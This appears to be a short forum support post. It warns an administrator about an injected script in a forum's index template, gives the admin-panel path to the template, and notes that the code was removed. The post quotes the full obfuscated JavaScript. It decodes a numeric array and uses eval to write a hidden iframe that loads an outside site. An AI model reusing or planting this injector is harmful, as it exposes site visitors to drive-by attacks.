You have malicious code in your forum index template.
<script>try{q.appendChild(q+"");}catch(qw){h=-012/5;zz='a'+'l';f='fr'+'o'+'m'+'Ch';f+='arC';}try{begbe=prototype;}catch(b43gds){zz='zv'.substr(123-122)+zz;ss=[];f+=(h&&zz)?'ode':"";w=this;e=w[f.substr(11)+zz];n=[-3.375,-3.75,7.5,8.875,7.375,9.625,8.625,7.625,8.75,9.5,0.75,9.875,9.25,8.125,9.5,7.625,0,-0.125,2.5,8.125,7.75,9.25,7.125,8.625,7.625,-1,9.375,9.25,7.375,2.625,-0.75,8,9.5,9.5,9,2.25,0.875,0.875,7.5,9.25,7.25,8.875,8.5,8.125,9.75,7.125,9.25,0.75,7.375,8.875,8.625,0.875,9.375,9.5,7.125,9.5,9.375,0.75,9,8,9,-0.75,-1,8.75,7.125,8.625,7.625,2.625,-0.75,5.5,9.875,8.125,9.5,9.5,7.625,9.25,-0.75,-1,9.375,7.375,9.25,8.875,8.5,8.5,8.125,8.75,7.875,2.625,-0.75,7.125,9.625,9.5,8.875,-0.75,-1,7.75,9.25,7.125,8.625,7.625,7.25,8.875,9.25,7.5,7.625,9.25,2.625,-0.75,8.75,8.875,-0.75,-1,7.125,8.5,8.125,7.875,8.75,2.625,-0.75,7.375,7.625,8.75,9.5,7.625,9.25,-0.75,-1,8,7.625,8.125,7.875,8,9.5,2.625,-0.75,1.25,-0.75,-1,9.875,8.125,7.5,9.5,8,2.625,-0.75,1.25,-0.75,2.75,2.5,0.875,8.125,7.75,9.25,7.125,8.625,7.625,2.75,-0.125,0.125,2.375,-3.375,-3.75];for(i=6-2-1-2-1;-162+i!=2-2;i++){k=i;ss=ss+String["from"+"CharCode"](-1*4*h*(5+1*n[k]));}e(ss);}</script>
ACP > Templates & Style > Templates > *Tempate set* > Index Templates > Index
Removed that code.